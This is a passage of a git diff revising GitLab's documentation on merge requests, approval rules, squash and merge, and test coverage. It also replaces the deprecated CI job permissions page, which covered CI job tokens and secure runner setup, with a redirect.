b/doc/user/project/merge_requests/img/scoped_to_protected_branch_v13_10.png diff --git a/doc/user/project/merge_requests/img/update_approval_rule_v13_10.png b/doc/user/project/merge_requests/img/update_approval_rule_v13_10.png Binary files differindex c0cc0db600c..c5596b965ff 100644 --- a/doc/user/project/merge_requests/img/update_approval_rule_v13_10.png +++ b/doc/user/project/merge_requests/img/update_approval_rule_v13_10.png diff --git a/doc/user/project/merge_requests/index.md b/doc/user/project/merge_requests/index.md index 99e0193d496..1fed30dc589 100644 --- a/doc/user/project/merge_requests/index.md +++ b/doc/user/project/merge_requests/index.md @@ -7,12 +7,10 @@ type: index, reference # Merge requests **(FREE)** -Whenever you need to merge one branch into another branch with GitLab, you -must create a merge request (MR). +Merge requests (MRs) are the way you check source code changes into a branch. -Using merge requests, you can visualize and collaborate on proposed changes to -source code. Merge requests display information about the proposed code changes, -including: +When you open a merge request, you can visualize and collaborate on the code changes before merge. +Merge requests include: - A description of the request. - Code changes and inline code reviews. @@ -20,55 +18,50 @@ including: - A comment section for discussion threads. - The list of commits. -Based on your workflow, after review you can merge a merge request into its -target branch. - To get started, read the [introduction to merge requests](getting_started.md). -## Use cases +## Merge request workflows -A. Consider you're a software developer working in a team: +For a software developer working in a team: -1. You checkout a new branch, and submit your changes through a merge request -1. You gather feedback from your team -1. You work on the implementation optimizing code with [Code Quality reports](code_quality.md) -1. You verify your changes with [Unit test reports](../../../ci/unit_test_reports.md) in GitLab CI/CD -1. You avoid using dependencies whose license is not compatible with your project with [License Compliance reports](../../compliance/license_compliance/index.md) **(ULTIMATE)** -1. You request the [approval](merge_request_approvals.md) from your manager **(STARTER)** +1. You checkout a new branch, and submit your changes through a merge request. +1. You gather feedback from your team. +1. You work on the implementation optimizing code with [Code Quality reports](code_quality.md). +1. You verify your changes with [Unit test reports](../../../ci/unit_test_reports.md) in GitLab CI/CD. +1. You avoid using dependencies whose license is not compatible with your project with [License Compliance reports](../../compliance/license_compliance/index.md). +1. You request the [approval](merge_request_approvals.md) from your manager. 1. Your manager: - 1. Pushes a commit with their final review - 1. [Approves the merge request](merge_request_approvals.md) **(STARTER)** - 1. Sets it to [merge when pipeline succeeds](merge_when_pipeline_succeeds.md) -1. Your changes get deployed to production with [manual actions](../../../ci/yaml/README.md#whenmanual) for GitLab CI/CD -1. Your implementations were successfully shipped to your customer - -B. Consider you're a web developer writing a webpage for your company's website: - -1. You checkout a new branch, and submit a new page through a merge request -1. You gather feedback from your reviewers -1. Your changes are previewed with [Review Apps](../../../ci/review_apps/index.md) -1. You request your web designers for their implementation -1. You request the [approval](merge_request_approvals.md) from your manager **(STARTER)** -1. Once approved, your merge request is [squashed and merged](squash_and_merge.md), and [deployed to staging with GitLab Pages](https://about.gitlab.com/blog/2021/02/05/ci-deployment-and-environments/) -1. Your production team [cherry picks](cherry_pick_changes.md) the merge commit into production + 1. Pushes a commit with their final review. + 1. [Approves the merge request](merge_request_approvals.md). + 1. Sets it to [merge when pipeline succeeds](merge_when_pipeline_succeeds.md). +1. Your changes get deployed to production with [manual actions](../../../ci/yaml/README.md#whenmanual) for GitLab CI/CD. +1. Your implementations were successfully shipped to your customer. + +For a web developer writing a webpage for your company's website: + +1. You checkout a new branch and submit a new page through a merge request. +1. You gather feedback from your reviewers. +1. You preview your changes with [Review Apps](../../../ci/review_apps/index.md). +1. You request your web designers for their implementation. +1. You request the [approval](merge_request_approvals.md) from your manager. +1. Once approved, your merge request is [squashed and merged](squash_and_merge.md), and [deployed to staging with GitLab Pages](https://about.gitlab.com/blog/2021/02/05/ci-deployment-and-environments/). +1. Your production team [cherry picks](cherry_pick_changes.md) the merge commit into production. ## Merge request navigation tabs at the top > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/33813) in GitLab 12.6. This positioning is experimental. -So far, the navigation tabs present in merge requests to display **Discussion**, -**Commits**, **Pipelines**, and **Changes** were located after the merge request +In GitLab 12.5 and earlier, navigation tabs in merge requests (**Discussion**, +**Commits**, **Pipelines**, and **Changes**) were located after the merge request widget. -To facilitate this navigation without having to scroll up and down through the page -to find these tabs, based on user feedback, we're experimenting with a new positioning -of these tabs. They are now located at the top of the merge request, with a new -**Overview** tab, containing the description of the merge request followed by the -widget. Next to **Overview**, you can find **Pipelines**, **Commits**, and **Changes**. +To facilitate navigation without scrolling, and based on user feedback, the tabs are +now located at the top of the merge request tab. A new **Overview** tab was added, +and next to **Overview** are **Commits**, **Pipelines**, and **Changes**. - + -Please note this change is currently behind a feature flag which is enabled by default. For +This change is behind a feature flag that is enabled by default. For self-managed instances, it can be disabled through the Rails console by a GitLab administrator with the following command: @@ -76,23 +69,9 @@ administrator with the following command: Feature.disable(:mr_tabs_position) ``` -## Creating merge requests - -Learn [how to create a merge request](creating_merge_requests.md). - -## Reviewing and managing merge requests - -See the features at your disposal to [review and manage merge requests](reviewing_and_managing_merge_requests.md). - -## Testing and reports in merge requests - -Learn about the options for [testing and reports](testing_and_reports_in_merge_requests.md) on the changes in a merge request. - -## Authorization for merge requests - -There are two main ways to have a merge request flow with GitLab: - -1. Working with [protected branches](../protected_branches.md) in a single repository -1. Working with forks of an authoritative project +## Related topics -[Learn more about the authorization for merge requests.](authorization_for_merge_requests.md) +- [Create a merge request](creating_merge_requests.md) +- [Review and manage merge requests](reviewing_and_managing_merge_requests.md) +- [Authorization for merge requests](authorization_for_merge_requests.md) +- [Testing and reports](testing_and_reports_in_merge_requests.md) diff --git a/doc/user/project/merge_requests/load_performance_testing.md b/doc/user/project/merge_requests/load_performance_testing.md index e8062fadcfe..865a18a6a05 100644 --- a/doc/user/project/merge_requests/load_performance_testing.md +++ b/doc/user/project/merge_requests/load_performance_testing.md @@ -28,7 +28,7 @@ GET calls to a popular API endpoint in your application to see how it performs. ## How Load Performance Testing works First, define a job in your `.gitlab-ci.yml` file that generates the -[Load Performance report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportsload_performance). +[Load Performance report artifact](../../../ci/yaml/README.md#artifactsreportsload_performance). GitLab checks this report, compares key load performance metrics between the source and target branches, and then shows the information in a merge request widget: @@ -140,7 +140,7 @@ For example, you can override the duration of the test with a CLI option: GitLab only displays the key performance metrics in the MR widget if k6's results are saved via [summary export](https://k6.io/docs/results-visualization/json#summary-export) -as a [Load Performance report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportsload_performance). +as a [Load Performance report artifact](../../../ci/yaml/README.md#artifactsreportsload_performance). The latest Load Performance artifact available is always used, using the summary values from the test. diff --git a/doc/user/project/merge_requests/merge_request_approvals.md b/doc/user/project/merge_requests/merge_request_approvals.md index 3d3e04842f8..835350ade44 100644 --- a/doc/user/project/merge_requests/merge_request_approvals.md +++ b/doc/user/project/merge_requests/merge_request_approvals.md @@ -13,6 +13,7 @@ type: reference, concepts Code review is an essential practice of every successful project. Approving a merge request is an important part of the review process, as it clearly communicates the ability to merge the change. +A [merge request approvals API](../../../api/merge_request_approvals.md) is also available. ## Optional Approvals @@ -23,6 +24,39 @@ This provides a consistent mechanism for reviewers to approve merge requests, an maintainers know a change is ready to merge. Approvals in Free are optional, and do not prevent a merge request from being merged when there is no approval. +## External approvals **(ULTIMATE)** + +> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3869) in GitLab Ultimate 13.10. +> - It's [deployed behind a feature flag](../../feature_flags.md), disabled by default. +> - It's disabled on GitLab.com. +> - It's not recommended for production use. +> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](../../../api/merge_request_approvals.md#enable-or-disable-external-project-level-mr-approvals). **(ULTIMATE SELF)** + +WARNING: +This feature might not be available to you. Check the **version history** note above for details. + +When you create an external approval rule, the following merge request actions sends information +about a merge request to a third party service: + +- Create +- Change +- Close + +This action enables use-cases such as: + +- Integration with 3rd party workflow tools, such as [ServiceNow](https://www.servicenow.co.uk/). +- Integration with custom tools designed to approve merge requests from outside of GitLab. + +You can find more information about use-cases, development timelines and the feature discovery in +the [External API approval rules epic](https://gitlab.com/groups/gitlab-org/-/epics/3869). + +The intention for this feature is to allow those 3rd party tools to approve a merge request similarly to how users current do. + +NOTE: +The lack of an external approval does not block the merging of a merge request. + +You can modify external approval rules through the [REST API](../../../api/merge_request_approvals.md#external-project-level-mr-approvals). + ## Required Approvals **(PREMIUM)** > - [Introduced](https://about.gitlab.com/releases/2015/06/22/gitlab-7-12-released/#merge-request-approvers-ee-only) in GitLab Enterprise Edition 7.12. @@ -53,7 +87,7 @@ be merged, and optionally which users should do the approving. Approvals can be If no approval rules are defined, any user can approve a merge request. However, the default minimum number of required approvers can still be set in the -[project settings for merge request approvals](#merge-request-approvals-project-settings). +[settings for merge request approvals](#approval-settings). You can opt to define one single rule to approve a merge request among the available rules or choose more than one with [multiple approval rules](#multiple-approval-rules). @@ -114,7 +148,7 @@ or higher [permissions](../../permissions.md). To enable this merge request approval rule: 1. Navigate to your project's **Settings > General** and expand - **Merge request approvals**. + **Merge request (MR) approvals**. 1. Locate **Any eligible user** and choose the number of approvals required.  @@ -145,7 +179,7 @@ To enable this access: 1. [Share the project with your group](../members/share_project_with_groups.md#sharing-a-project-with-a-group-of-users), based on the Reporter role. 1. Navigate to your project's **Settings > General**, and in the - **Merge request approvals** section, click **Expand**. + **Merge request (MR) approvals** section, click **Expand**. 1. Select **Add approval rule** or **Update approval rule**. 1. [Add the group](../../group/index.md#create-a-group) to the permission list. @@ -155,7 +189,7 @@ To enable this access: To add or edit the default merge request approval rule: -1. Navigate to your project's **Settings > General** and expand **Merge request approvals**. +1. Navigate to your project's **Settings > General** and expand **Merge request (MR) approvals**. 1. Click **Add approval rule**, or **Edit**. - Add or change the **Rule name**. @@ -235,14 +269,14 @@ reduces the number of approvals left for all rules that the approver belongs to. Approval rules are often only relevant to specific branches, like `master`. When configuring [**Default Approval Rules**](#adding--editing-a-default-approval-rule) these can be scoped to all the protected branches at once by navigating to your project's -**Settings**, expanding **Merge request approvals**, and selecting **Any branch** from +**Settings**, expanding **Merge request (MR) approvals**, and selecting **Any branch** from the **Target branch** dropdown. Alternatively, you can select a very specific protected branch from the **Target branch** dropdown:  -To enable this configuration, see [Code Owner’s approvals for protected branches](../protected_branches.md#protected-branches-approval-by-code-owners). +To enable this configuration, see [Code Owner's approvals for protected branches](../protected_branches.md#protected-branches-approval-by-code-owners). ### Adding or removing an approval @@ -278,10 +312,10 @@ else blocking it. Note that the merge request could still be blocked by other co such as merge conflicts, [pending discussions](../../discussions/index.md#only-allow-merge-requests-to-be-merged-if-all-threads-are-resolved), or a [failed CI/CD pipeline](merge_when_pipeline_succeeds.md). -### Merge request approvals project settings +### Approval settings -The project settings for Merge request approvals are found by going to -**Settings > General** and expanding **Merge request approvals**. +The settings for Merge Request Approvals are found by going to +**Settings > General** and expanding **Merge request (MR) approvals**. #### Prevent overriding default approvals @@ -289,7 +323,7 @@ Regardless of the approval rules you choose for your project, users can edit the request, overriding the rules you set as [default](#adding--editing-a-default-approval-rule). To prevent that from happening: -1. Uncheck the **Allow overrides to approval lists per merge request (MR).** checkbox. +1. Select the **Prevent users from modifying MR approval rules in merge requests.** checkbox. 1. Click **Save changes**. #### Resetting approvals on push @@ -314,7 +348,7 @@ from the UI. However, approvals are reset if the target branch is changed. By default, projects are configured to prevent merge requests from being approved by their own authors. To change this setting: -1. Go to your project's **Settings > General**, expand **Merge request approvals**. +1. Go to your project's **Settings > General**, expand **Merge request (MR) approvals**. 1. Uncheck the **Prevent MR approval by the author.** checkbox. 1. Click **Save changes**. diff --git a/doc/user/project/merge_requests/merge_request_dependencies.md b/doc/user/project/merge_requests/merge_request_dependencies.md index 2d7ba853258..fc5cc4d958b 100644 --- a/doc/user/project/merge_requests/merge_request_dependencies.md +++ b/doc/user/project/merge_requests/merge_request_dependencies.md @@ -17,9 +17,9 @@ then it cannot be merged until its dependency is itself merged. NOTE: Merge requests dependencies are a **PREMIUM** feature, but this restriction is -only enforced for the dependent merge request. A merge request in a **FREE** or -**STARTER** project can be a dependency of a **PREMIUM** merge request, but not -vice-versa. +only enforced for the dependent merge request. A merge request in a **FREE** +project can be a dependency of a **PREMIUM** merge request, but not +the other way around. ## Use cases diff --git a/doc/user/project/merge_requests/reviewing_and_managing_merge_requests.md b/doc/user/project/merge_requests/reviewing_and_managing_merge_requests.md index 406a79217d0..aba75403a2a 100644 --- a/doc/user/project/merge_requests/reviewing_and_managing_merge_requests.md +++ b/doc/user/project/merge_requests/reviewing_and_managing_merge_requests.md @@ -28,6 +28,39 @@ You can [search and filter the results](../../search/index.md#filtering-issue-an  +## Cached merge request count + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/299542) in GitLab 13.11. +> - It's [deployed behind a feature flag](../../feature_flags.md), enabled by default. +> - It's enabled on GitLab.com. +> - It's recommended for production use. +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-cached-merge-request-count). + +WARNING: +This feature might not be available to you. Check the **version history** note above for details. + +In a group, the sidebar displays the total count of open merge requests and this value is cached if higher +than 1000. The cached value is rounded to thousands (or millions) and updated every 24 hours. + +### Enable or disable cached merge request count **(FREE SELF)** + +Cached merge request count in the left sidebar is under development but ready for production use. It is +deployed behind a feature flag that is **enabled by default**. +[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) +can disable it. + +To disable it: + +```ruby +Feature.disable(:cached_sidebar_merge_requests_count) +``` + +To enable it: + +```ruby +Feature.enable(:cached_sidebar_merge_requests_count) +``` + ## Semi-linear history merge requests A merge commit is created for every merge, but the branch is only merged if @@ -112,10 +145,10 @@ To seamlessly navigate among commits in a merge request: 1. Select a commit to open it in the single-commit view. 1. Navigate through the commits by either: - - Selecting **Prev** and **Next** buttons on the top-right of the page. + - Selecting **Prev** and **Next** buttons below the tab buttons. - Using the <kbd>X</kbd> and <kbd>C</kbd> keyboard shortcuts. - + ### Incrementally expand merge request diffs @@ -235,7 +268,7 @@ the **Merge** button is colored red. When a merge request is merged, you can see the post-merge pipeline status of the branch the merge request was merged into. For example, when a merge request -is merged into the `master` branch and then triggers a deployment to the staging +is merged into the [default branch](../repository/branches/default.md) and then triggers a deployment to the staging environment. Ongoing deployments are shown, and the state (deploying or deployed) diff --git a/doc/user/project/merge_requests/squash_and_merge.md b/doc/user/project/merge_requests/squash_and_merge.md index f500c18a32e..4315e5a0305 100644 --- a/doc/user/project/merge_requests/squash_and_merge.md +++ b/doc/user/project/merge_requests/squash_and_merge.md @@ -7,8 +7,7 @@ type: reference, concepts # Squash and merge **(FREE)** -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/1024) in [GitLab Starter](https://about.gitlab.com/pricing/) 8.17. -> - [Moved](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/18956) from [GitLab Starter](https://about.gitlab.com/pricing/)to GitLab Free in 11.0. +> - [Moved](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/18956) to GitLab Free in 11.0. With squash and merge you can combine all your merge request's commits into one and retain a clean history. @@ -31,10 +30,7 @@ NOTE: The squashed commit in this example is followed by a merge commit, because the merge method for this repository uses a merge commit. You can disable merge commits in **Project Settings > General > Merge requests > Merge method > Fast-forward merge**. -The squashed commit's commit message is either: - -- Taken from the first multi-line commit message in the merge. -- The merge request's title if no multi-line commit message is found. +The squashed commit's default commit message is taken from the merge request title. NOTE: This only takes effect if there are at least 2 commits. As there is nothing to squash, the commit message does not change if there is only 1 commit. @@ -105,11 +101,11 @@ squashing can itself be considered equivalent to rebasing. ## Squash Commits Options > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/17613) in GitLab 13.2. -> - It was deployed behind a feature flag, disabled by default. -> - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/39382) on GitLab 13.3. -> - It's enabled on GitLab.com. -> - It can be enabled per project. -> - It's recommended for production use. +> - Deployed behind a feature flag, disabled by default. +> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/39382) in GitLab 13.3. +> - Enabled on GitLab.com. +> - Can be enabled per project. +> - Recommended for production use. With Squash Commits Options you can configure the behavior of Squash and Merge for your project. To set it up, navigate to your project's **Settings > General** and expand **Merge requests**. diff --git a/doc/user/project/merge_requests/test_coverage_visualization.md b/doc/user/project/merge_requests/test_coverage_visualization.md index 02b557e22b9..147171e8488 100644 --- a/doc/user/project/merge_requests/test_coverage_visualization.md +++ b/doc/user/project/merge_requests/test_coverage_visualization.md @@ -21,14 +21,14 @@ MR is merged. ## How test coverage visualization works Collecting the coverage information is done via GitLab CI/CD's -[artifacts reports feature](../../../ci/pipelines/job_artifacts.md#artifactsreports). +[artifacts reports feature](../../../ci/yaml/README.md#artifactsreports). You can specify one or more coverage reports to collect, including wildcard paths. GitLab will then take the coverage information in all the files and combine it together. For the coverage analysis to work, you have to provide a properly formatted [Cobertura XML](https://cobertura.github.io/cobertura/) report to -[`artifacts:reports:cobertura`](../../../ci/pipelines/job_artifacts.md#artifactsreportscobertura). +[`artifacts:reports:cobertura`](../../../ci/yaml/README.md#artifactsreportscobertura). This format was originally developed for Java, but most coverage analysis frameworks for other languages have plugins to add support for it, like: @@ -55,6 +55,11 @@ NOTE: A limit of 100 `<source>` nodes for Cobertura format XML files applies. If your Cobertura report exceeds 100 nodes, there can be mismatches or no matches in the Merge Request diff view. +### Artifact expiration + +By default, the [pipeline artifact](../../../ci/pipelines/pipeline_artifacts.md#storage) used +to draw the visualization on the Merge Request expires **one week** after creation. + ### Automatic class path correction > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217664) in GitLab 13.8. diff --git a/doc/user/project/merge_requests/testing_and_reports_in_merge_requests.md b/doc/user/project/merge_requests/testing_and_reports_in_merge_requests.md index 9661a02a767..cc0be389891 100644 --- a/doc/user/project/merge_requests/testing_and_reports_in_merge_requests.md +++ b/doc/user/project/merge_requests/testing_and_reports_in_merge_requests.md @@ -19,7 +19,7 @@ or link to useful information directly from merge requests: | [Code Quality](code_quality.md) | Analyze your source code quality using the [Code Climate](https://codeclimate.com/) analyzer and show the Code Climate report right in the merge request widget area. | | [Display arbitrary job artifacts](../../../ci/yaml/README.md#artifactsexpose_as) | Configure CI pipelines with the `artifacts:expose_as` parameter to directly link to selected [artifacts](../../../ci/pipelines/job_artifacts.md) in merge requests. | | [GitLab CI/CD](../../../ci/README.md) | Build, test, and deploy your code in a per-branch basis with built-in CI/CD. | -| [Unit test reports](../../../ci/unit_test_reports.md) | Configure your CI jobs to use Unit test reports, and let GitLab display a report on the merge request so that it’s easier and faster to identify the failure without having to check the entire job log. | +| [Unit test reports](../../../ci/unit_test_reports.md) | Configure your CI jobs to use Unit test reports, and let GitLab display a report on the merge request so that it's easier and faster to identify the failure without having to check the entire job log. | | [License Compliance](../../compliance/license_compliance/index.md) **(ULTIMATE)** | Manage the licenses of your dependencies. | | [Metrics Reports](../../../ci/metrics_reports.md) **(PREMIUM)** | Display the Metrics Report on the merge request so that it's fast and easy to identify changes to important metrics. | | [Multi-Project pipelines](../../../ci/multi_project_pipelines.md) **(PREMIUM)** | When you set up GitLab CI/CD across multiple projects, you can visualize the entire pipeline, including all cross-project interdependencies. | diff --git a/doc/user/project/new_ci_build_permissions_model.md b/doc/user/project/new_ci_build_permissions_model.md index 585d97c74c2..f7e8d3d140c 100644 --- a/doc/user/project/new_ci_build_permissions_model.md +++ b/doc/user/project/new_ci_build_permissions_model.md @@ -1,256 +1,8 @@ --- -stage: Verify -group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments -type: reference +redirect_to: '../../ci/README.md' --- -# New CI job permissions model +This document is deprecated. See the latest [GitLab CI/CD documentation](../../ci/README.md). -> Introduced in GitLab 8.12. - -GitLab 8.12 has a completely redesigned [job permissions](../permissions.md#job-permissions) system. You can find -all discussion and all our concerns when choosing the current approach in issue -[#18994](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/18994). - -Jobs permissions should be tightly integrated with the permissions of a user -who is triggering a job. - -The reasons to do it like that are: - -- We already have a permissions system in place: group and project membership - of users. -- We already fully know who is triggering a job (using `git push`, using the - web UI, executing triggers). -- We already know what user is allowed to do. -- We use the user permissions for jobs that are triggered by the user. -- It opens a lot of possibilities to further enforce user permissions, like - allowing only specific users to access runners or use secure variables and - environments. -- It is simple and convenient that your job can access everything that you - as a user have access to. -- Short living unique tokens are now used, granting access for time of the job - and maximizing security. - -With the new behavior, any job that is triggered by the user, is also marked -with their read permissions. When a user does a `git push` or changes files through -the web UI, a new pipeline is usually created. This pipeline is marked -as created by the pusher (local push or via the UI) and any job created in this -pipeline has the read permissions of the pusher but not write permissions. - -This allows us to make it really easy to evaluate the access for all projects -that have [Git submodules](../../ci/git_submodules.md) or are using container images that the pusher -would have access too. **The permission is granted only for the time that the job -is running. The access is revoked after the job is finished.** - -## Types of users - -It is important to note that we have a few types of users: - -- **Administrators**: CI jobs created by Administrators don't have access - to all GitLab projects, but only to projects and container images of projects - that the administrator is a member of. That means that if a project is either - public or internal users have access anyway, but if a project is private, the - Administrator has to be a member of it in order to have access to it - via another project's job. - -- **External users**: CI jobs created by [external users](../permissions.md#external-users) have - access only to projects to which the user has at least Reporter access. This - rules out accessing all internal projects by default. - -This allows us to make the CI and permission system more trustworthy. -Let's consider the following scenario: - -1. You are an employee of a company. Your company has a number of internal tools - hosted in private repositories and you have multiple CI jobs that make use - of these repositories. - -1. You invite a new [external user](../permissions.md#external-users). CI jobs created by that user do not - have access to internal repositories, because the user also doesn't have the - access from within GitLab. You as an employee have to grant explicit access - for this user. This allows us to prevent from accidental data leakage. - -## Job token - -When a pipeline job is about to run, GitLab generates a unique token and injects it as the -[`CI_JOB_TOKEN` predefined variable](../../ci/variables/predefined_variables.md). -This token can authenticate [API requests](../../api/README.md) -from the job script (Runner) that needs to access the project's resources (for example, when -fetching a job artifact). - -Once the token is authenticated, GitLab identifies the user who triggered the job and uses this user -to authorize access to the resource. Therefore, this user must be assigned to -[a role that has the required privileges](../permissions.md). - -The job token has these limitations: - -- Not all APIs allow job tokens for authentication. See [this list](../../api/README.md#gitlab-ci-job-token) - for available endpoints. -- The token is valid only while the pipeline job runs. Once the job finishes, the token can't be - used for authentication. - -Although a job token is handy to quickly access a project's resources without any configuration, it -sometimes gives extra permissions that aren't necessary. There is [a proposal](https://gitlab.com/groups/gitlab-org/-/epics/3559) -to redesign the feature for more strategic control of the access permissions. - -If you need your CI pipeline to push to the Package Registry, consider using [deploy tokens](deploy_tokens/index.md). - -We try to make sure that this token doesn't leak by: - -1. Securing all API endpoints to not expose the job token. -1. Masking the job token from job logs. -1. Granting permissions to the job token **only** when the job is running. - -However, this brings up a question about the runner's security. To make sure that -this token doesn't leak, you should also make sure that you configure -your runners in the most possible secure way, by avoiding the following: - -1. Any usage of Docker's `privileged` mode is risky if the machines are re-used. -1. Using the `shell` executor since jobs run on the same machine. - -By using an insecure GitLab Runner configuration, you allow the rogue developers -to steal the tokens of other jobs. - -## Before GitLab 8.12 - -In versions before GitLab 8.12, all CI jobs would use the runner's token -to checkout project sources. - -The project's runner token was a token that you could find under the -project's **Settings > Pipelines** and was limited to access only that -project. -It could be used for registering new specific runners assigned to the project -and to checkout project sources. -It could also be used with the GitLab Container Registry for that project, -allowing pulling and pushing Docker images from within the CI job. - -GitLab would create a special checkout URL like: - -```plaintext -https://gitlab-ci-token:<project-runners-token>/gitlab.com/gitlab-org/gitlab-foss.git -``` - -And then the users could also use it in their CI jobs all Docker related -commands to interact with GitLab Container Registry. For example: - -```shell -docker login -u gitlab-ci-token -p $CI_JOB_TOKEN registry.gitlab.com -``` - -Using single token had multiple security implications: - -- The token would be readable to anyone who had Developer access to a project - that could run CI jobs, allowing the developer to register any specific - runner for that project. -- The token would allow to access only the project's sources, forbidding from - accessing any other projects. -- The token was not expiring and was multi-purpose: used for checking out sources, - for registering specific runners and for accessing a project's container - registry with read-write permissions. - -All the above led to a new permission model for jobs that was introduced -with GitLab 8.12. - -## Making use of the new CI job permissions model - -With the new job permissions model, there is now an easy way to access all -dependent source code in a project. That way, we can: - -1. Access a project's dependent repositories -1. Access a project's [Git submodules](../../ci/git_submodules.md) -1. Access private container images -1. Access project's and submodule LFS objects - -Below you can see the prerequisites needed to make use of the new permissions -model and how that works with Git submodules and private Docker images hosted on -the container registry. - -### Prerequisites to use the new permissions model - -With the new permissions model in place, there may be times that your job -fails. This is most likely because your project tries to access other project's -sources, and you don't have the appropriate permissions. In the job log look -for information about 403 or forbidden access messages. - -In short here's what you need to do should you encounter any issues. - -As an administrator: - -- **500 errors**: You need to update [GitLab Workhorse](https://gitlab.com/gitlab-org/gitlab-workhorse) to at - least 0.8.2. This is done automatically for Omnibus installations, you need to - [check manually](https://gitlab.com/gitlab-org/gitlab-foss/tree/master/doc/update) for installations from source. -- **500 errors**: Check if you have another web proxy sitting in front of NGINX (HAProxy, - Apache, etc.). It might be a good idea to let GitLab use the internal NGINX - web server and not disable it completely. See [this comment](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/22484#note_16648302) for an - example. -- **403 errors**: You need to make sure that your installation has [HTTP(S) - cloning enabled](../admin_area/settings/visibility_and_access_controls.md#enabled-git-access-protocols). HTTP(S) support is now a **requirement** by GitLab CI - to clone all sources. - -As a user: - -- Make sure you are a member of the group or project you're trying to have - access to. As an Administrator, you can verify that by impersonating the user - and retry the failing job in order to verify that everything is correct. - -### Dependent repositories - -The [CI/CD variable](../../ci/variables/README.md#predefined-cicd-variables) `CI_JOB_TOKEN` can be used to -authenticate any clones of dependent repositories. For example: - -```shell -git clone https://gitlab-ci-token:${CI_JOB_TOKEN}@gitlab.com/<user>/<mydependentrepo>.git -``` - -It can also be used for system-wide authentication -(only do this in a Docker container, it overwrites `~/.netrc`): - -```shell -echo -e "machine gitlab.com\nlogin gitlab-ci-token\npassword ${CI_JOB_TOKEN}" > ~/.netrc -``` - -### Git submodules - -To properly configure submodules with GitLab CI/CD, read the -[Git submodules documentation](../../ci/git_submodules.md). - -### Container Registry - -With the update permission model we also extended the support for accessing -Container Registries for private projects. - -GitLab Runner versions prior to 1.8 don't incorporate the introduced changes -for permissions. This makes the `image:` directive not work with private -projects automatically and it needs to be configured manually on the GitLab Runner host -with a predefined account (for example administrator's personal account with -access token created explicitly for this purpose). This issue is resolved with -latest changes in GitLab Runner 1.8 which receives GitLab credentials with -build data. - -Starting from GitLab 8.12, if you have [2FA](../profile/account/two_factor_authentication.md) enabled in your account, you need -to pass a [personal access token](../profile/personal_access_tokens.md) instead of your password in order to -login to the Container Registry. - -Your jobs can access all container images that you would normally have access -to. The only implication is that you can push to the Container Registry of the -project for which the job is triggered. - -This is how an example usage can look like: - -```yaml -test: - script: - - docker login -u "$CI_REGISTRY_USER" -p "$CI_REGISTRY_PASSWORD" $CI_REGISTRY - - docker pull $CI_REGISTRY/group/other-project:latest - - docker run $CI_REGISTRY/group/other-project:latest -``` - -### Pipeline triggers - -Since 9.0 [pipeline triggers](../../ci/triggers/README.md#ci-job-token) do support the new permission model. -The new triggers do impersonate their associated user including their access -to projects and their project permissions. - -### API - -GitLab API can be used via `CI_JOB_TOKEN`, see [the relevant documentation](../../api/README.md#gitlab-ci-job-token). +<!-- This redirect file can be deleted after <2021-06-01>. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/pages/custom_domains_ssl_tls_certification/ssl_tls_concepts.md b/doc/user/project/pages/custom_domains_ssl_tls_certification/ssl_tls_concepts.md index d9f57253396..f79c60a933a 100644 --- a/doc/user/project/pages/custom_domains_ssl_tls_certification/ssl_tls_concepts.md +++ b/doc/user/project/pages/custom_domains_ssl_tls_certification/ssl_tls_concepts.md @@ -36,7 +36,7 @@ with financial transactions. Now we have a different picture. [According to Josh Aas](https://letsencrypt.org/2015/10/29/phishing-and-malware.html), Executive Director at [ISRG](https://en.wikipedia.org/wiki/Internet_Security_Research_Group): <!-- vale gitlab.rulename = YES --> -> _We’ve since come to realize that HTTPS is important for almost all websites. It’s important for any website that allows people to log in with a password, any website that [tracks its users](https://www.washingtonpost.com/news/the-switch/wp/2013/12/10/nsa-uses-google-cookies-to-pinpoint-targets-for-hacking/) in any way, any website that [doesn’t want its content altered](https://arstechnica.com/tech-policy/2014/09/why-comcasts-javascript-ad-injections-threaten-security-net-neutrality/), and for any site that offers content people might not want others to know they are consuming. We’ve also learned that any site not secured by HTTPS [can be used to attack other sites](https://krebsonsecurity.com/2015/04/dont-be-fodder-for-chinas-great-cannon/)._ +> _We've since come to realize that HTTPS is important for almost all websites. It's important for any website that allows people to log in with a password, any website that [tracks its users](https://www.washingtonpost.com/news/the-switch/wp/2013/12/10/nsa-uses-google-cookies-to-pinpoint-targets-for-hacking/) in any way, any website that [doesn't want its content altered](https://arstechnica.com/tech-policy/2014/09/why-comcasts-javascript-ad-injections-threaten-security-net-neutrality/), and for any site that offers content people might not want others to know they are consuming. We've also learned that any site not secured by HTTPS [can be used to attack other sites](https://krebsonsecurity.com/2015/04/dont-be-fodder-for-chinas-great-cannon/)._ Therefore, the reason why certificates are so important is that they encrypt the connection between the **client** (you, me, your visitors) diff --git a/doc/user/project/pages/getting_started/pages_new_project_template.md b/doc/user/project/pages/getting_started/pages_new_project_template.md index eec8349abe6..36371573fd9 100644 --- a/doc/user/project/pages/getting_started/pages_new_project_template.md +++ b/doc/user/project/pages/getting_started/pages_new_project_template.md @@ -5,7 +5,7 @@ group: Release info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Create a Pages website from a new project template +# Create a Pages website from a template > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/47857) in GitLab 11.8. diff 